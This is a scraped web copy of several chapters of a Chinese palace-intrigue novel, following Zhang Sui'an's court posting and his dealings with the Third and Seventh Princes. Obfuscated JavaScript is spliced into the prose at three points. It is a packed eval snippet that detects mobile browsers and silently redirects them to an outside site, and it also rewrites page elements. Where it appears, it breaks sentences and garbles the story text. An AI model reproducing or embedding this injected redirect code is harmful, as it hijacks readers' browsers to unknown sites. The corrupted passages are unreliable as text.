对于下面的人来说,修典不仅辛苦,更是费力不讨好。 修好了,不见得就能达到景和帝招揽四洲人才的期望,修坏了,更是徒增千古骂名。 况且,这景和帝还不愿将事全权交到士族手上,偏偏还想去民间捞位大师来坐镇,相当于要在士族眼皮底下另起炉灶,这谁愿意干? 这事景和帝私下也跟赵贵嫔提过一嘴,本意是想借赵家之力去寻访民间高人,可这赵氏一族哪有那本事,平平无奇的大儒推荐了好几位,论声望连袭国境内都镇不住,更别提能撼动四洲了。 既然民间的人迟迟定不下来,那士族里总得有人挑这大梁吧。 景和帝自然而然地就瞄准了张淮之。 这张老太公名响四洲,张淮之又是太学祭酒,简直就是舍他其谁,私下里跟他递过好几次话,却又都被他找各种托词给弹了回来。 堂堂一国之君,想找人编本书都这么难,也不怪景和帝成日愁眉不展。 宫人备好了茶水,赵贵嫔亲自上前,将茶盏稳稳地奉到景和帝手边,接着似有若无地提了一句:“七皇子回宫也有些日子了,陛下可要去见见?” “嗯。”景和帝接过茶盏,喝了一口,润了润嗓子,“过阵子吧,听太医说他病还未好全,还需静养。” “说起来,这七皇子也是可怜。”赵贵嫔顺势应着,“虽然外面不曾声张,但妾私下里听兄嫂说,七皇子似乎还是从张府接回来的呢。” “张府?”景和帝一顿,“张淮之的张府?” “听兄嫂说,七皇子殿下被山贼吓得四处逃窜,路上饿得不行偷了人家的钱袋,还险些被送去京兆尹,这张府和江府家的两位公子恰巧上街碰见了,觉着他可怜,将其带回府中,想为他寻找家人,偏偏七殿下被吓得说不出话,这才闹了误会,害得兄长城内城外翻了个遍,原来这七殿下啊,就 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不过半盏茶的功夫,张府门前就响起江崇那石破天惊的喊叫—— “竟然是皇子!”江崇自拿到圣旨那刻,都还没反应过来,“他他他,竟然就是那个嫡出的七皇子!” 张岁安得封官职,同属救驾之功的江崇也跟着沾光,一道圣旨,把他从郎官拔升成了副骑都尉。 江崇一个脑袋三个问,又惊又喜地冲进张府书房,把还没回过神的张岁安左颠右摇地晃,像是想把他那三魂七魄都摇归位来。 “子康,你说话啊,你什么时候知道他是皇子的?怎么也不告诉我一声!你怎么不说话?是不是也吓傻了,啊?” 张岁安被晃得眼前发花,却还是一声不吭。 自小七被带走后,他被张淮之关在家中月余,大门不出二门不迈,隔壁江府的大人们虽然猜出了些许端倪,但江崇却没看出什么名堂来,还以为是张淮之忽然回家,张岁安被逮了个正着,才被禁了足。 “我之前还说七皇子是小倌,这算不算是玷污贵人名声啊?”江崇止不住地嘎嘎乱叫,“七殿下不会记仇吧,他要是告诉陛下,那我岂不是完了!” 只是这江崇一个劲地连珠炮,可张岁安却始终沉默如石。 他还沉浸在方才传旨内官的那番话中。 凭借张岁安的家世和才能,若不是父亲有意避嫌,他哪里会缺官做。可赵贵嫔却偏偏要在景和帝跟前挑明,还刻意帮自己讨赏,卖了张家一个人情。 皇家恩赏,多是牵丝绕线,这一步棋,走得实在太过明显。 “哎,我听传旨的内官说,”江崇刻意压低了嗓子,“是赵贵嫔为咱俩讨的赏,真的假的,我们与赵家又没有来往,她为何要帮我们啊?” “原本没有来往。”张岁安缓缓抬起眼皮,看了江崇一眼,“这下可能就不得不有了。” 15. 骗子 兰台是御史台的公署,也是监察百官的文书中枢,如今的御史大夫一职虽挂在杨老太公名下,却更像是给这位三朝元老养老的虚衔,御史台上下大小事务,皆由御史中丞涂均一手执掌。 这个涂均原是杨氏的门生,杨老太公性情刚正,偏偏涂均却是个圆滑之人,在为官之道上,取百家之长,明明身担监察百官的要职,却能做到谁都不得罪,也算是个高人了。 眼见这杨老太公的外孙,张岁安张小公子要来兰台任职,原本在家休沐的涂均直接不休了,坐镇兰台亲自相迎。 “兰台掌文书监察,事务繁重,子康你初来乍到,不必着急上手,先跟着前辈练上几日。”涂均脸上堆着恰到好处的温严,官袍长袖一挥道,“若有不懂之处,随时问询,你世伯我,必倾囊相授。” 接着,他转身指向署内一年轻文官道:“这位是你的书佐,是前几年从地方举荐上来的才人,虽出身不显,却有异才啊,日拟万字,一应文书,过目不忘。” 那人闻言,上前一步躬身行礼:“下官,程为,见过令史大人。” 只见这程为一抬头,脸上面无血色,眼下乌青两团,一看就是日日加钟加点,干活干得魂都没了,但却依然只是个小小的低阶佐使。 想来一个毫无出身背景的地方才人,在兰台这种地方任职,自然是什么脏活累活都要干,偏偏这些校正抄录的活计最是耗人心志,容不得出半点差错,磨久了,心气脾性都没了。 张岁安躬身回了礼,自谦道:“晚生字子康,程兄可有表字?” 程为一顿,吐出几个字:“下官,字不为。” 张岁安跟着一愣,旋即笑道,“名为,却字不为,君子有所为而有所不为,不为兄颇有克己复礼之智啊。” “大人过誉了。”程为麻木地回礼道。 一早上,御史中丞涂均拉着张岁安把兰台上上下下逛了个遍,大小官吏一一混了个脸熟,生怕哪个不懂识人的低阶小吏冲撞了这位金尊玉贵的张氏长公子,给自己惹上什么不必要的人情是非。 等忙活完后,张岁安回到分配的书阁,程为已经替他整理好了书案,并将一应典籍的表册都码好在了一旁。 “午时快到了,大人可是要在署内用饭?”程为问道。 他不说,张岁安都没有注意,快到用午膳的时间了。 “叫我子康就好。”张岁安轻声道,“不为兄一般在哪用膳?” 程为尴尬一笑:“我不用膳,中午都是吃我娘亲备的干饼,佐使俸银不多,能省则省。” 张岁安见此,还未来得及开口,就听见殿外有人高声唤他。 “子康!子康在哪啊?”这声音,似曾相识。 张岁安正想出去相迎,那人却先行大步跨了进来。 程为一见来人,噗通一声跪倒在地,连手上的饼都被吓飞了:“臣见过三殿下。” 他一微末小官,除了盛大典礼,少有能面见宫中贵人的时候,眼下三皇子就这样明堂堂地站在面前,他自然畏惧。 三皇子大步朝张岁安走过来,一脚把程为的饼都给踩烂了。 “子康啊,还未来得及恭喜你得任兰台令史啊!”三皇子也不见外,一口一个子康叫得极为热络,“眼下也到午时了,还没用膳吧,不如去我殿中用膳,咱们把酒言欢,庆祝庆祝,如何?” 张岁安眼神落在地上那摊被踩烂的饼上,低声应道:“谢三殿下厚爱,臣不过一微末小官,去殿下宫中用膳,实在有违礼制。” “都是自己人,就别拘这些虚礼了。” 说罢,三皇子便连拉带推地把张岁安硬请出了兰台。 虽小时候也常随父亲入宫,但这东侧皇子的宫苑,张岁安还是头一次来。 三皇子的弘福殿是其中最大的一处宫殿,也是离太子所居的承乾殿最近的一处宫殿,或许这也是陛下迟迟没有让三皇子出宫立府的原因。 一进殿中,食案早早地就备好了,显然是专门为他而设,就等着请君入瓮呢。 三皇子行至主位,伸手虚引道:“子康,你千万不要跟我见外,随意些,就当是自己府邸一样。” 张岁安拱手行礼,依言坐下,接过宫人奉上的鱼汤,喝了一口,肉汤鲜美,鱼肉入口即化,没有些时辰,熬不出这番滋味。 “这汤可是我母妃盯着下人熬的,你可要多喝几碗啊。”三皇子笑道。 明眼人都看得出来,赵氏有意拉拢,三皇子又是个唯命是从的“大孝子”,一听母妃说要多多亲近张家公子,他恨不得直接跟张岁安称兄道弟。 可这殷勤之盛,反倒让人疑虑惶恐。 张岁安一边喝着眼前的鱼汤,心思却已然飘远,他顿了顿,故作随意地开口问了一句:“臣得七皇子之幸,方能入职兰台,想来也该去拜见,如今七殿下回宫后,可是还住在长宁殿的偏殿?” “老七啊。”三皇子闷了一口汤道,“他住在原来老五的殿里呢。” 张岁安望着手中的鱼汤,思忖片刻,旋即面上露出几分诚恳之意来:“三殿下仁孝,又是朝中皇子之长,七皇子年幼无人照拂,若殿下能尽兄长之责,多多照顾年幼皇子,为众皇子做好表率,陛下定会赞殿下之孝德。” 三皇子一听,眼睛一瞪,顿悟道:“嗯,此言有理。”他把碗一放,旋即吩咐宫人道,“把这鱼汤盛一些来,吃完给老七送去,刚好他一直病着,多喝点鱼汤滋补滋补。” 张岁安闻言一怔:“七皇子病了?” “这老七啊,胆子小,被山贼吓破了胆,回宫以后一直卧床不起……”三皇子经方才张岁安那么一提点,此刻也照猫画虎地学会举一反三了,“这么说来,我这个兄长,是不是该去看看他?” 他转头看向堂下的张岁安,“正好,我听母妃私下说,老七流落街头的时候你还救过他呢,今日你既来了,就与我一同去看看他,喝汤喝汤,用完膳,你随我一起去看看小老七。” 从三皇子的弘福殿一路走到七皇子的佑炆殿,就像是从门庭若市的大户,走入了偏僻落魄的小院。 七皇子自回宫后,陛下都没来看上过一眼,宫人们也都懒懒散散,院中杂草都无人清理,正值午时,一个个都歇在后院躲懒,前院竟然连个迎接的人都没有。 “老七,皇兄来看你了!”三皇子带着自己殿中的宫人浩浩荡荡地踏进殿门,一声嗓门恨不得嚷得全皇宫都知道他驾到了。 宫人们被这阵势吓醒,躲懒的,小憩的,纷纷原地起立,理衣上前,各就各位,假装一副埋头做活儿的样子。 “三皇子到!”守门的宫人稳了稳睡歪的顶帽立身喊道。 张岁安跟在身后,与三皇子一齐进了殿中,刚一进去,就闻见一股沉沉的苦药味,闷在不透风的殿内挥之不去。 “大好的天气,怎么也不打开门窗,透透气啊?”三皇子厉声问道,俨然一副众皇子之长的模样。 “回三殿下,七殿下昨日又犯了头疾,说是见不得光,也吹不得风。”宫人怯生生地回道。 “那现在好些没有啊?”三皇子背着手巡察似地问道。 “好些了,好些了,七殿下在里面用药呢,奴这就去禀报。” 张岁安顺着宫人的指引,往那扇素色屏风后看去,一道瘦弱孤薄的影子缓缓从榻上坐起,听了宫人的禀话后,那影子顿了顿,接着抬起虚浮的袖口,挥了挥手。 旋即宫人上前,将屏风缓缓撤了半侧。 小七皇子端坐在榻上,玄色的抹额压得眼色发青,抬头时,目光正好与堂下的张岁安相撞,他眼中闪过一丝惊愕,继而又迅速被漠然掩盖了下去。 三皇子上前一步,截断了两人相触的目光:“哎呀,老七,你怎么,瘦成这个样子了!我记得你小时候……”其实他也不记得小七以前什么样子了,只是话到嘴边,不得不往下圆,“你小时候白白嫩嫩的,现在怎么瘦得只剩皮包骨头了。” 小七愣愣地看着他,也不说话,三皇子也知道他不会开口说话,反正只是来演戏的,也不图要跟这小七弟促膝长谈。 “你们都是怎么照顾七皇子的!”三皇子摆起长子的官腔道,“我这个皇兄看了都心疼,要是父皇看见了,定会治你们一个侍奉不周之罪。” 宫人们一听,纷纷下跪磕头道:“三皇子恕罪,三皇子恕罪。” 三皇子:“快去把鱼汤盛一碗来。” 下人们端来鱼汤,可小七看着那鲜白的鱼汤,却只是愣愣地坐着,既没有伸手去接,也没有半分要喝的意思。 三皇子低头看着这个冷漠的小七弟,在脸上挤出一个仁兄的微笑来:“七弟啊,皇兄给你带了鱼汤来,你还没用膳吧,趁热尝尝。” 他语气恳切,可小七还是纹丝不动,连眼皮都没抬一下。 三皇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他心中本就有愧,如今被三皇子这样一说,倒显得他是因为跟三皇子交情更深,才眼睁睁地将小七卖入宫中的。 小七见张岁安刻意回避着他的眼神,眼底的冷意又深了三分,他转头瞥了一眼侍立在旁的小黄门常乐,眉头猛地紧蹙,身子往前一倾,便抬袖捂着嘴作势要呕。 常乐见势,连忙挥手喊道:“快,快取铜盂来。” 小七一把接过宫人递上来的铜盂,转身侧头,对着里面便是一阵剧烈的干呕—— 阵阵呼之欲出的呕吐声,在安静的殿中格外刺耳,弄得殿中众人不禁尬立,闷声捂面,不敢说话。 他呕了半天,硬是将方才喝进去的那碗鱼汤原封不动地给呕了出来。 三皇子站在一旁,脸色由白转青,又由青转黑,自己一番好意,这小子不领情就算了,还来这么恶心的一招,让他被众人看了笑话。 张岁安瞥见这阵仗,心下也不由得发紧,他本想借三皇子立威之心,为小七寻得一丝庇护,结果这孩子性子竟然这般死倔,偏偏对自己生了误会,就愣是要用这种极端的方式撇清干系,反倒把场面弄得十分难堪。 眼下三皇子面上过不去,若再是僵下去,恐要迁怒于小七。 张岁安只能上前一步,躬身请罪道:“鱼汤乃腥物,必是与七殿下常服的药方有所冲撞,臣方才贸然劝食,导致殿下脾胃不和,实在该死,还请两位殿下恕罪。” “无碍,无碍,子康也是一番好意。”三皇子有了台阶下,神色稍缓,只得使唤着殿中的宫人道,“去,赶紧传太医来给老七瞧瞧。” “喏。” 眼见这小七弟也不怎的欢迎他,三皇子也懒得热脸贴这冷屁股:“既然七弟不舒服,我也不便叨扰了,你好生歇息,皇兄来日再来看你啊。” 说罢便领着张岁安匆匆往殿外走。 临走之前,张岁安回头看了一眼,却只见到那软榻前的屏风又原样挡了回去,好似一堵密不透风的心墙,隔在那孩子与世人之间。 正当两人往佑炆殿外走时,张岁安忽然被一小黄门不小心撞了一下,定睛一看,是方才七皇子身边近身的那位内侍。 接着,那小黄门迅雷不及掩耳之势地往他手心塞了一卷指头大小的绢布。 “奴忙着去为殿下请太医,这才冒犯了大人,大人恕罪。”常乐慌忙道完歉,便脚底抹油似地溜走了,生怕慢走一步,就被三皇子逮住挨训。 “诶,这老七身边的人,怎么一个个的,都这么不懂规矩。”三皇子指着跑远的小黄门气道,“真是有什么样的主子,就有什么样的奴婢。” 张岁安将那卷绢布藏在袖下,默默地跟在三皇子身后,趁他不注意时,才悄悄打开看了一眼。 只见上面龙飞凤舞地写着两个字: “骗子。” 16. 冤种 张岁安握着这截怨气甚重的绢布,一路默不作声地跟着三皇子走回了弘福殿。 “这小老七还真是不识好歹。”三皇子自顾自地埋怨了一路,“我可怜他年幼无人照拂,一番好意给他送汤食,他竟这样扫我的面子。” 张岁安垂着眼,缓声说道:“七皇子本就年幼,如今又病体未愈,回宫之后定是日日惶恐,食不下咽,这鱼汤之事,是臣欠缺考虑,害得三殿下失了颜面。” 三皇子脚步一顿,觉得张岁安这话也不无道理,毕竟跟一个小孩置气倒显得自己没度量,遂摆了摆手,也懒得再跟这小老七计较。 二人行至弘福殿阶前,三皇子却没往里走,他目光越过自己的殿宇,望向不远处那储君之殿的檐顶:“你看吾这弘福殿,与那东宫首殿不过一步之遥。可偏偏父皇就是不给个明示,母妃心下难安,弄得我也跟着着急。” 说罢,瞥了张岁安一眼,见他沉默不应,又补上一句:“子康啊,若我想为父皇分忧,你可有良策?” 张岁安握着手心的绢布,宛如握着一粒小石子,硌得他心下难安。 七皇子身在后宫,无人庇佑,若连三皇子都对他怀有郁结,那他恐怕更难自处了。 “其实眼下诸皇子中,三殿下最得陛下厚爱,这一点,倒是无须过于忧心。”张岁安顿了顿,接着又补上一句,“恕臣直言,贵嫔难安,不过是担心士族老臣看重嫡长,而偏向七皇子殿下,可三殿下也看见了,七皇子幼弱多病,不得陛下偏宠,难以成就大业,并无威胁之势。” “嗯,此言有理。”三皇子神色稍缓。 张岁安趁热打铁,又道:“依臣看来,士族老臣们要的不过就是礼法二字,如今中宫无主,陛下又无重新立后之意,三皇子更应尽兄长之责,多多笼络照拂幼弟,一来可以在士族老臣面前立个贤慈仁厚的名声,二来七皇子殿下若是认准了三殿下这个兄长,日后自然也不会与殿下相争。” 三皇子听得连连点头,昂首挺立道:“有理,有理,老七既无母后,又无外戚,他身边就吾这么一个兄长,这么说来,我还真得对他好点。” 接着,他又忽然一顿,左右瞟了瞟,鬼鬼缩缩道,“哎,但我听说老七脑门上那东西,血煞克亲,他不会克我吧?” 张岁安:“……” 待应付完三皇子,回到兰台时,程为已经收拾干净书阁,开始埋头抄写文书了。 张岁安念着三皇子之前进来的时候,一脚踩烂了程为的饼,心下想着他估计还没吃东西,走时便顺道从三皇子殿中打包了鱼汤。 程为看着案上雕花食皿里,炖得鲜香白嫩的鱼,整个人愣成一尊石像,硬是连筷子都不敢动一下。 “不为兄,可是不喜吃鱼?”张岁安见他不动筷,疑惑问道。 “喜吃,喜吃。”程为颤颤巍巍地拿起筷子,夹了一点鱼肉尝了,入口即化,这宫中贵人的吃食,果真不一样,“不怕子康兄笑话,这么好吃的鱼,我就吃过一次,是我被举荐入绥京那年,在酒楼里点了一桌席,家中姊妹多,我也就喝上了几口鱼汤……”他越说越委屈,眼泪竟然就这样流了下来。 张岁安见他堂堂七尺男儿,就这样满腔委屈地哭了起来,也是惊得一愣:“不为兄,这是,这是何故啊?!” 程为抬起袖口,擦了把满脸的辛酸泪:“在下原以为子康兄出身高门,定是与这兰台诸君一样,瞧不上我这等门第之人,只把我当作那粗使的牛马,却不曾想,不曾想……竟是个普度众生的活菩萨。” “……”张岁安被捧得也不知如何作答,只能僵在原地尬笑,“不为兄谬赞了,谬赞了。” 也不怪这程为崩溃至此,如他这般的庶族学子,能入兰台为官,在家族亲眷中那都是光宗耀祖的存在。 可谁能想到,一朝鱼跃龙门,结果竟是当牛做马。 他上无法晋升,下又不能平白辞去这好不容易得来的官职,一大家子人等着俸银糊口,他卡在中间,进退两难,白白被消磨掉了心志。 兰台上下,就张岁安把他当个人看,那可不就是渡他的菩萨吗? “子康兄,不怕你笑话,在下年少时也曾有过报国之志,只是一直无法寻得明公。”程为说至兴起,放下碗筷就要上前给张岁安拜礼,“子康兄家门显赫,又得皇子赏识,日后若有需要用人之处,不为定肝脑涂地。” 一个“不为”,硬是要为,张岁安自然也是乐意为之。 “不为兄快快请起,你我同在兰台当职,实在无需如此见外。”张岁安将他扶起,顿了顿道,“眼下晚生正好有一事,想与不为兄商议。” “子康兄请讲。” “我初到兰台,对草拟文书的规制尚不熟悉,可否托不为兄帮我在皇子起居的著述中多添上两笔?” 宫中专职内官会拟写皇子起居注,一般用来上呈给陛下,方便关注皇子近日动向。 这些起居注作为官方文书,都会交由兰台存档复核,若是有个别能彰显皇子美名的事迹,得景和帝示意后,便能向朝臣公开。 程为微微一怔,联想到当下张岁安与三皇子亲近,问道:“子康兄是想为三皇子殿下……” 张岁安借势点了点头,言辞昭昭,声情并茂道:“七皇子年幼无人照拂,三皇子今日专程煲了鱼汤送去,我深感三殿下长兄护幼的仁德之举,遂情不自禁地想要为此记上一笔。” 程为虽当牛做马惯了,但底子还是个聪明人,他细品片刻,压低了嗓音问道:“子康兄此举,可是想为三皇子殿下立稳这仁孝爱幼的名声,好让殿下笼络士族老臣之心呐?” 张岁安笑而不语,一双桃花眼微微眯起,跟只修成精的白狐狸似的。 “明白,明白。”程为恍若大悟,信以为真,一腔热血瞬间回魂。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445025|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看来,张岁安就是那三皇子的幕僚,自己做个马前卒,以后指不定也能蹭个从龙之功,如此好事,怎能不振奋?当下连饭也不想吃了,直接冲进书阁埋头干活。 可张岁安心下却想着,三皇子今日虽被说动了,但他身后的赵贵嫔却未必,况且三皇子心性浮躁,难保之后不会变卦,若有兰台著述为证,届时再广施出去,三皇子被高高捧起,七皇子若是有恙,赵氏一族自然也脱不了干系。 不日,三皇子爱护幼弟的美名便借由朝臣之口,绕了一圈,又传回了景和帝耳中。 三皇子被捧得大喜,跑到瑶池殿去,向赵贵嫔把张岁安如何为他出谋划策的事,津津乐道地讲了一番。 “母妃果然妙算,这张岁安可比他父亲要识时务多了,懂得择良木而栖。”三皇子把之前赵贵嫔说的话,原封不动地复述了一遍,“现下父皇请不动那张淮之,但儿臣却招揽了张岁安,这张氏的儿子都来了,爹自然也快了,母妃说对吧?” 赵贵嫔将他的话细品了一遍,总觉得事情不该这么顺畅,可一时半会,又说不出是哪里不对。 她虽久在深宫,却对朝局人心洞若观火,赵氏一族能在朝中站稳脚跟,全靠她刚柔并进地玩得一手好权术。 只可惜出身摆在那里,赵氏族亲们个个手上有了朝职,也不知收敛,在外面作威作福,致使士族老臣们对她颇有微词,这才让她不能名正言顺地入主中宫之位。 赵氏的名声不好,但三皇子的名声却不能有污,赵家是皇权上的藤蔓,只有三皇子继位,赵氏的荣光才能延续。 所以眼见着三皇子资质平庸,才专程为他找来儒师冠以孝名,只是这孩子似乎除了孝顺,实在也别无长处了。 有时她也想不明白,自己和陛下都是聪明人,为何这三皇子偏偏像那脑子缺了根筋似的,也不知遗传了谁,难不成是外甥肖舅? 她将怀里的玉瓒公主哄睡后,递还给乳母,转头看向三皇子问道:“惇儿啊,你方才说七皇子不喝鱼汤,张岁安劝了,他便喝了,可是真的?” 三皇子回想一番,答道:“是,张岁安替儿臣劝的,老七吐了过后,他还颇为自责呢。” “那就你当时所见,这张岁安与七皇子之间,关系如何?” “看上去,好像一般。”三皇子琢磨道,“老七总不说话,对谁都一样,不过眼下,我这名声都传出去了,也该多多去照顾老七才是,今日父皇还说,朝臣们对我多有赞誉,甚至还有将我比作惠帝的呢。” 三皇子愣头愣脑地没品出来,赵贵嫔却看出了这其中的微妙之处,她默而不言,微微一笑,看着三皇子如此意气风发,自然也不好直言打击。 汉惠帝为护幼弟免受吕后毒害,与其同吃同住,为后世留下了一个长兄护幼的美名。 可这看似夸赞三皇子,却拐着弯地把赵贵嫔给骂了,也不知道是谁的手笔。 17. 玉环 三皇子自得了这爱护幼弟的美名后,隔三差五地便往佑炆殿跑,比上值点卯还要勤快。 这佑炆殿地处偏隅,素来安静,可这三皇子每次一来,必得带上那浩浩荡荡的宫人,乌泱泱地挤满半座庭院,张罗得热火朝天,又是训话,又是指挥的,反倒惹得小七更不待见他,最后干脆连殿门都不愿出,只顾埋在榻上睡觉。 三皇子想摆足兄长派头,可小老七却偏不肯赏脸。 久而久之,他也就没了耐心,便把这事托给了张岁安,让他以自己的名义去佑炆殿走个过场,回头再帮自己在起居注上,好好地写上几笔,就当是在父皇和朝臣面前交差了。 张岁安不似三皇子那般大张旗鼓,每次来也从不多带随从,只是带些宫外铺子新制的蜜饯果子,或是民间匠人做的小巧玩物。 小七赌气不愿见他,他也不勉强,就把东西交到常乐手上,只站在殿门外规规矩矩地行了一礼后,便拂袖告退。 常乐捧着一堆蜜饯趣玩,正准备往殿内走,却瞧见原本紧闭的殿门,不知何时被掀开了一道细缝—— 隐约还能瞧见一小小的身影缩在那缝后面,挤出一只眼睛往外瞧。 “殿下……你躲在门板后作甚啊?”常乐疑惑问道。 眼见被人发现了,小七蹭地一下,又从门板后飞到了床上,被褥往身上一裹,装出副继续睡觉的模样。 常乐推开殿门进去,见七皇子缩在被褥里一动不动,放轻声音道:“令史大人今日又送了许多东西来,殿下可要看看?” 小七躺在枕上,脑袋摇得跟拨浪鼓似的。 “那奴先放这儿了?”常乐小声试探道。 他跟着七皇子有了些时日,也摸出了几分主子的性子,小殿下成日闷在殿里,就像被关在笼里的雀儿,大门不出二门不迈,平日要么发呆,要么睡觉,都快闷成葫芦了。 他唯一的一点生趣,就只有这张岁安隔三差五送来的零嘴玩物。 虽然嘴上不说,但几次下来,常乐还是发现每次的蜜饯果子都有被偷偷动过,他把东西放在桌案上,顿步出去,轻轻掩上了门。 瞧见殿内没人后,小七在榻上悄悄翻了个身,随即掀开被褥,光着脚丫跳下床榻。 他走到案边坐下,打开食盒,取出最上面用油纸包好的蜜饯果子,迫不及待地拆开,捻了一粒丢进嘴里。 梅脯上裹了十足的饴糖,酸酸甜甜的,比宫里的要好吃上许多。 再看那一堆稀奇古怪的玩意儿,有陶人,有泥车,还有一个没见过的,是用白玉制成的九连玉环。 小七好奇地拿起那串玉环,只见玉泽清透,环环相扣,密而不紧,中间用一根玉钗似的柱身连着,轻轻一晃,便叮铃作响,甚是有趣。 只是这些玉环看似连在一起,却又各为一体,好像是可以拆解下来的。 他起了几分兴味,把玉钗上的玉环掰来掰去,却总是找不到关窍,绕了半天,也没法将环身全部解下来。 可越是解不开,他便越是胜负欲上头,小犟种般的硬是琢磨了小半天,直到常乐送来了晚膳,他还在那儿埋头摆弄这串玉环。 “殿下,先用膳吧。”常乐轻声劝道,“若实在解不开,待改日令史大人来了,再去请教可好?” 小七一听,更是一肚子气,把玉环往边上一搁,气鼓鼓地吃饭去了。 隔了两三日,张岁安终于才又来了。 常乐盼星星盼月亮,终于把救星给盼来了,赶紧上前迎接道:“令史大人,您可算是来了。” 张岁安见常乐神色急切,惊问道:“可是七殿下出什么事了?” 常乐也不知如何详说,只能引路道:“还是您亲自进去看看吧。” 张岁安见常乐这副欲说还休的模样,还真以为是小七有了个什么三长两短,赶紧大步跟他进了殿中。 殿中似有物件叮铃铃的响声,宫人们推开屏风,只见七皇子埋头坐在榻上,正跟手上那串玉环较着劲。 常乐长叹一声道:“殿下把这玉环翻来覆去地掰了好几日了,几乎到了废寝忘食的地步,可就是一点也不见解开。” 张岁安松了口气,上前行礼:“臣,张岁安,见过殿下,殿下福寿康宁。” 榻上的小七闻言一怔,抬起眼皮看着张岁安,又看了看他身边的常乐,眉头拧成一团,似是在质问怎么放他进来了? “殿下,令史大人来了,这玉环,可解了。”常乐喜滋滋地笑着,还一心只想着替主子解忧。 小七一听,更是不乐意,随手将手中的玉环往榻下一扔,扭过身去,被褥一盖,继续闷睡。 常乐与张岁安递了个眼神,尴尬一笑。 张岁安会意地走上前去,幸而玉环还未摔碎,他将其捡起来,细细一看,九个玉环已解了大半,可因为没有口诀窍门,却只能卡在最后几环上。 “殿下?”张岁安轻声唤道,嘴角勾起一抹淡笑,“其实解这九连玉环,只需习得口诀便可,殿下可想一听?” 小七卧在榻上闷声不答。 张岁安:“殿下若不想听,那臣讲与常内侍听,可好?” 常乐一听,连忙接话:“好好好,令史大人讲给奴听,奴再传给殿下听。” 张岁安举着那串玉环,走到常乐身边,作势就开始教起来:“此环有九枚,一三五七九为阳数,二四六八为阴数,取阳则不能取阴,反之亦然。” 他瞅了一眼榻上之人,只见小七虽依旧闷声不动,却还是几不可察地侧了侧耳朵。 张岁安继续说道:“取一时,二便不能取,但可取三,取完三后,一二归位,则可取五。”他一边说,一边演示,几根手指灵巧拨弄,旋即便将环身大半都取了下来,“取五后,前四归位,再取七,最后便可取九。” 言罢,张岁安轻轻勾掉最后一根环扣,九枚玉环旋即齐齐落入手心。 常乐惊道:“殿下,快看,环解了!” 小七窝在枕上,脖子抻得老长,却就是不肯转过身去。 张岁安将玉环缓缓归位后,递到常乐眼前:“常内侍可想一试?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445026|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 常乐僵住,尬尬一笑:“恕奴愚钝。” 这口诀听起来容易,张岁安演示得也轻松,可这环身绕来绕去,弄了半天,常乐是眼睛看会了,脑子里却什么也没记住,捧着这玉环,左右为难。 张岁安借势朝常乐递了个眼神,瞥了瞥榻上之人。 常乐立马会意,小步走到七皇子身边,躬身道:“殿下,殿下可想一试啊?” 小七闻声,撑开一只眼,歪着头瞥向常乐手中的玉环,一把手拿过来,闷在被褥里开始鼓弄。 只是他虽听了一遍,但毕竟没有亲手见到张岁安演示,知道了顺序规律,却还是不知道如何归位取环。 最后干脆把被褥一掀,气急败坏地坐起身来,转头看见那人还候在堂下,旋即噔噔噔走过去,把玉环举到张岁安身前。 常乐见七皇子终于愿意下床,长舒了一口气:“殿下可是想让令史大人再演示一遍?” 小七点了点头。 张岁安微微一笑,接过那串玉环,玉环触手生温,被眼前这头小倔驴在手里捂了半天,摸上去更是有些发烫。 “下官想着七殿下成日闷在殿中,今日特地带了些清润的草茶来,殿下可想一品?”张岁安试探问道。 小七闷了一会儿,还是点了点头,转头望向一旁的常乐,用眼神示意他去准备。 常乐呆在七皇子身边久了,也学了一身看眼识语的本事,旋即躬身顿步,带着其他宫人们一齐退到了殿外。 见众人走后,殿内只剩下两人,小七也不再遮掩,抬头瞪着张岁安的眼神里更添了几分怨气。 张岁安自知有愧,却又不知如何解释,只得摆弄起那串玉环:“臣为殿下再演示一遍。” 小七一双眉毛压着眼,沙哑着嗓子,忽而开口问道:“你在替三哥做事?” 张岁安一怔,轻声回答:“谈不上,就是偶尔出谋划策而已。” 小七顿了顿,冷冰冰地瞪着他:“那你为何不替我出谋划策?” 语气间,颇有几分被别人占去了领地的敌意。 张岁安又被问得语塞,只能低声答道:“七殿下还小。” 小七眸色一沉:“所以你就把我卖回宫了?” “殿下,臣……” 张岁安向来巧舌如簧,怎的面对一黄口小儿,反倒被堵得百口莫辩。 朝堂诸事纷繁复杂,他也不知如何向小七解释,千般言语,最终也只能化作一句:“臣并非有意,只是局势所迫,更没有想借此讨好三皇子之意,后宫之中,暗箭难防,臣与三皇子亲近,实是为了……” 他话音未落,殿门便“吱呀”一声被猛地推开,常乐急匆匆地闯入殿中。 “殿下……”常乐险些一口气没喘得上来,“陛,陛下,陛下和赵贵嫔来了!” 张岁安闻言一怔,几乎是下意识地往后退了两步,硬生生地在两人之间隔出一段楚河汉界般的君臣之防。 小七直直地愣在原地,望着这段泾渭分明的距离,眼神又自顾自地暗了下去。 18. 暗斗 殿门大开,众人齐刷刷地跪地叩首,恭迎圣驾。 景和帝一进殿,便被殿内一屋子沉闷的陈味儿闷得皱了皱眉头。 